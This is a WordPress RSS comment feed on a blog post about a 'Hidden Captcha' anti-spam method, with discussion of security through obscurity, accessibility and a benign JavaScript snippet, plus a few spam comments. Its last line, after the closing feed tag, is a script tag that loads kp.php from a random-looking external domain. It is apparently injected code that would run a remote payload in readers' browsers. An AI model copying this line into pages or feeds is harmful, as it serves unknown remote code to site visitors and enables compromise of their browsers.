















































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: PHP Screencast: Hidden Captcha</title>
	<atom:link href="http://www.vileworks.com/php-screencast-hidden-captcha/feed" rel="self" type="application/rss+xml" />
	<link>http://www.vileworks.com/php-screencast-hidden-captcha</link>
	<description>Web design &#38; development work of Stefan Matei</description>
	<lastBuildDate>Wed, 21 Jul 2010 14:01:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Free Cash Cafe World</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-11709</link>
		<dc:creator>Free Cash Cafe World</dc:creator>
		<pubDate>Sat, 10 Apr 2010 00:25:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-11709</guid>
		<description>Nice blog, this a superb post</description>
		<content:encoded><![CDATA[<p>Nice blog, this a superb post</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Rickey Fegurgur</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-11262</link>
		<dc:creator>Rickey Fegurgur</dc:creator>
		<pubDate>Fri, 05 Mar 2010 01:45:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-11262</guid>
		<description>Hi, I found this article while searching for help with JavaScript. I have recently changed browsers from Safari to Mozilla Firefox 3.1. Just recently I seem to have a issue with loading JavaScript. Everytime I browse page that requires Javascript, my browser does not load and I get a &quot;runtime error javascript.JSException: Unknown name&quot;. I cannot seem to find out how to fix the problem. Any aid is very appreciated! Thanks</description>
		<content:encoded><![CDATA[<p>Hi, I found this article while searching for help with JavaScript. I have recently changed browsers from Safari to Mozilla Firefox 3.1. Just recently I seem to have a issue with loading JavaScript. Everytime I browse page that requires Javascript, my browser does not load and I get a &#8220;runtime error javascript.JSException: Unknown name&#8221;. I cannot seem to find out how to fix the problem. Any aid is very appreciated! Thanks</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Rosita Bekerman</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-11191</link>
		<dc:creator>Rosita Bekerman</dc:creator>
		<pubDate>Sun, 21 Feb 2010 16:44:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-11191</guid>
		<description>I will visit again for another new interesting topic..</description>
		<content:encoded><![CDATA[<p>I will visit again for another new interesting topic..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: &#187; Using captcha without displaying it &#8212; VileWorks</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-10858</link>
		<dc:creator>&#187; Using captcha without displaying it &#8212; VileWorks</dc:creator>
		<pubDate>Sat, 23 Jan 2010 17:39:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-10858</guid>
		<description>[...] Update: I wrote/recorded a follow up post/screencast explaining how to implement the hidden captcha. [...]</description>
		<content:encoded><![CDATA[<p>[...] Update: I wrote/recorded a follow up post/screencast explaining how to implement the hidden captcha. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ryan Cullen</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-9449</link>
		<dc:creator>Ryan Cullen</dc:creator>
		<pubDate>Sat, 05 Dec 2009 12:48:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-9449</guid>
		<description>The best anti spam and email hiding solutions are the ones you create yourself as bot authors can&#039;t be bothered to break them. Only when they go big time is it worth the effort.</description>
		<content:encoded><![CDATA[<p>The best anti spam and email hiding solutions are the ones you create yourself as bot authors can&#8217;t be bothered to break them. Only when they go big time is it worth the effort.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-7798</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Sat, 19 Sep 2009 15:03:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-7798</guid>
		<description>&lt;p&gt;@&lt;a href=&quot;#comment-7791&quot; rel=&quot;nofollow&quot;&gt;david&lt;/a&gt;: &lt;/p&gt;

&lt;p&gt;I&#039;ve heard this before, that there are spambots able to evaluate JavaScript. On this website I&#039;ve had the Hidden Captcha system for a few months and &lt;strong&gt;I did not have any spam comments&lt;/strong&gt; since then. Not one.
If there will be more spambots with JavaScript support in the future, than Akismet will have to be turned back on and used together with Hidden Captcha. But at least there won&#039;t be as many comments in the Akismet spam list that I&#039;ll have to manually check for false positives.&lt;/p&gt;

&lt;p&gt;The number of people without JavaScript is very small, but still I&#039;m not denying them the right to comment. They just have to fill in the captcha.
It&#039;s a very small compromise I&#039;m making.&lt;/p&gt;

&lt;p&gt;Anyone please correct me if you think I&#039;m wrong, but I am not taking into account people that have to use screen readers AND don&#039;t have JavaScript support. Because I&#039;m convinced there are no such cases: lack of JavaScript AND the need for a screen reader for the same visitor seems to far fetched.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If a bot can’t execute javascript why
  not remove the captcha input field?
  There is no need to give check the
  right value if you add the right value
  via javascript, is there? Just check
  if the field is present in the posted
  data or not.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not sure if I&#039;m getting this right, but if you mean using JavaScript to remove the captcha input field and then checking its presence on the server, then this wouldn&#039;t allow people without JavaScript to comment, would it?&lt;/p&gt;</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-7791" rel="nofollow">david</a>: </p>
<p>I&#8217;ve heard this before, that there are spambots able to evaluate JavaScript. On this website I&#8217;ve had the Hidden Captcha system for a few months and <strong>I did not have any spam comments</strong> since then. Not one.<br />
If there will be more spambots with JavaScript support in the future, than Akismet will have to be turned back on and used together with Hidden Captcha. But at least there won&#8217;t be as many comments in the Akismet spam list that I&#8217;ll have to manually check for false positives.</p>
<p>The number of people without JavaScript is very small, but still I&#8217;m not denying them the right to comment. They just have to fill in the captcha.<br />
It&#8217;s a very small compromise I&#8217;m making.</p>
<p>Anyone please correct me if you think I&#8217;m wrong, but I am not taking into account people that have to use screen readers AND don&#8217;t have JavaScript support. Because I&#8217;m convinced there are no such cases: lack of JavaScript AND the need for a screen reader for the same visitor seems to far fetched.</p>
<blockquote>
<p>If a bot can’t execute javascript why<br />
  not remove the captcha input field?<br />
  There is no need to give check the<br />
  right value if you add the right value<br />
  via javascript, is there? Just check<br />
  if the field is present in the posted<br />
  data or not.</p>
</blockquote>
<p>Not sure if I&#8217;m getting this right, but if you mean using JavaScript to remove the captcha input field and then checking its presence on the server, then this wouldn&#8217;t allow people without JavaScript to comment, would it?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: david</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-7791</link>
		<dc:creator>david</dc:creator>
		<pubDate>Sat, 19 Sep 2009 09:14:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-7791</guid>
		<description>If you base your idea on the fact that bots can&#039;t execute javascript, the captcha is only needed for people who have javascript disabled. So if a bot has the ability to execute javascript it passes as a human while people with screenreaders and text only browsers will be marked as bots.

I think you better use a sentence with basic math than a captcha. Or a link to a random audio file with the correct field input.

If a bot can&#039;t execute javascript why not remove the captcha input field? There is no need to give check the right value if you add the right value via javascript, is there? Just check if the field is present in the posted data or not.</description>
		<content:encoded><![CDATA[<p>If you base your idea on the fact that bots can&#8217;t execute javascript, the captcha is only needed for people who have javascript disabled. So if a bot has the ability to execute javascript it passes as a human while people with screenreaders and text only browsers will be marked as bots.</p>
<p>I think you better use a sentence with basic math than a captcha. Or a link to a random audio file with the correct field input.</p>
<p>If a bot can&#8217;t execute javascript why not remove the captcha input field? There is no need to give check the right value if you add the right value via javascript, is there? Just check if the field is present in the posted data or not.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-7750</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Fri, 18 Sep 2009 00:18:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-7750</guid>
		<description>@&lt;a href=&quot;#comment-7662&quot; rel=&quot;nofollow&quot;&gt;Josh L&lt;/a&gt;: Funny thing, I was talking in the article about Akismet&#039;s false positives and how this would allow me to deactivate Akismet. But I haven&#039;t actually deactivated it -- until I saw 1 spam comment today: yours. Obviously a false positive. 

My Akismet plugin is now deactivated.

Don&#039;t call me obscure. You&#039;re obscure.

Kiddin&#039;. Thanks for telling me about the &lt;em&gt;Security through obscurity&lt;/em&gt; principle, didn&#039;t know it actually had a name. And yes, to some degree, that&#039;s what I&#039;m doing.

Here&#039;s an example of how one could complicate the JavaScript to make it harder for a spam bot that can&#039;t evaluate JS code to get to the secret string:

&lt;pre&gt;&lt;code&gt;secret  = &#039;&lt;?php echo $string[0]; ?&gt;&#039; + &#039;&lt;?php echo $string[1]; ?&gt;&#039;;
secret += &#039;&lt;?php echo $string[2]; ?&gt;&#039; + &#039;&lt;?php echo $string[3]; ?&gt;&#039;;
document.getElementsByName(&#039;code&#039;)[0].value = secret + &#039;&lt;?php echo $string[4]; ?&gt;&#039;;
&lt;/code&gt;&lt;/pre&gt;

instead of simply:

&lt;pre&gt;&lt;code&gt;document.getElementsByName(&#039;code&#039;)[0].value = &#039;&lt;?php echo $string; ?&gt;&#039;;
&lt;/code&gt;&lt;/pre&gt;

...Just adding to the obscurity.</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-7662" rel="nofollow">Josh L</a>: Funny thing, I was talking in the article about Akismet&#8217;s false positives and how this would allow me to deactivate Akismet. But I haven&#8217;t actually deactivated it &#8212; until I saw 1 spam comment today: yours. Obviously a false positive. </p>
<p>My Akismet plugin is now deactivated.</p>
<p>Don&#8217;t call me obscure. You&#8217;re obscure.</p>
<p>Kiddin&#8217;. Thanks for telling me about the <em>Security through obscurity</em> principle, didn&#8217;t know it actually had a name. And yes, to some degree, that&#8217;s what I&#8217;m doing.</p>
<p>Here&#8217;s an example of how one could complicate the JavaScript to make it harder for a spam bot that can&#8217;t evaluate JS code to get to the secret string:</p>
<pre><code>secret  = '&lt;?php echo $string[0]; ?&gt;' + '&lt;?php echo $string[1]; ?&gt;';
secret += '&lt;?php echo $string[2]; ?&gt;' + '&lt;?php echo $string[3]; ?&gt;';
document.getElementsByName('code')[0].value = secret + '&lt;?php echo $string[4]; ?&gt;';
</code></pre>
<p>instead of simply:</p>
<pre><code>document.getElementsByName('code')[0].value = '&lt;?php echo $string; ?&gt;';
</code></pre>
<p>&#8230;Just adding to the obscurity.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Josh L</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-7662</link>
		<dc:creator>Josh L</dc:creator>
		<pubDate>Tue, 15 Sep 2009 00:14:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-7662</guid>
		<description>Great idea. Regardless of effectiveness, to me the important thing is that people like yourself are creating alternatives, without which innovation is impossible.

But Bartek does have a good point, which is that you are achieving something akin to &lt;a href=&quot;http://en.wikipedia.org/wiki/Security&#95;through&#95;obscurity&quot; rel=&quot;nofollow&quot;&gt;security through obscurity&lt;/a&gt;. Your technique itself is not more secure (it is arguably not secure at all), the security comes from the fact that almost no one is going to write a comment bot for a single obscure website.

Imagine that you&#039;re immigrating along the Oregon Trail, and that your wagon has decoration which implies you are carrying gold. When bandits target such wagons, they simply set fire to the wagon then retrieve their spoils. What you have done is the equivalent of removing the decorations that suggest gold, so the bandits decide not to target you in the first place. But if they &lt;em&gt;did&lt;/em&gt; decide to target you, &lt;strong&gt;your wagon is not any less susceptible to fire.&lt;/strong&gt;</description>
		<content:encoded><![CDATA[<p>Great idea. Regardless of effectiveness, to me the important thing is that people like yourself are creating alternatives, without which innovation is impossible.</p>
<p>But Bartek does have a good point, which is that you are achieving something akin to <a href="http://en.wikipedia.org/wiki/Security&#95;through&#95;obscurity" rel="nofollow">security through obscurity</a>. Your technique itself is not more secure (it is arguably not secure at all), the security comes from the fact that almost no one is going to write a comment bot for a single obscure website.</p>
<p>Imagine that you&#8217;re immigrating along the Oregon Trail, and that your wagon has decoration which implies you are carrying gold. When bandits target such wagons, they simply set fire to the wagon then retrieve their spoils. What you have done is the equivalent of removing the decorations that suggest gold, so the bandits decide not to target you in the first place. But if they <em>did</em> decide to target you, <strong>your wagon is not any less susceptible to fire.</strong></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Stefan</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha/comment-page-1#comment-7649</link>
		<dc:creator>Stefan</dc:creator>
		<pubDate>Mon, 14 Sep 2009 13:39:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.vileworks.com/?p=385#comment-7649</guid>
		<description>@&lt;a href=&quot;#comment-7648&quot; rel=&quot;nofollow&quot;&gt;Bartek&lt;/a&gt;: I know the answer&#039;s in the HTML... But if anyone writes a bot that can find the answer (not very likely unless Hidden Captcha becomes as popular as Captcha itself, but still) it&#039;s just a matter of changing the JavaScript around so that it does the same thing, but the code is written differently.</description>
		<content:encoded><![CDATA[<p>@<a href="#comment-7648" rel="nofollow">Bartek</a>: I know the answer&#8217;s in the HTML&#8230; But if anyone writes a bot that can find the answer (not very likely unless Hidden Captcha becomes as popular as Captcha itself, but still) it&#8217;s just a matter of changing the JavaScript around so that it does the same thing, but the code is written differently.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>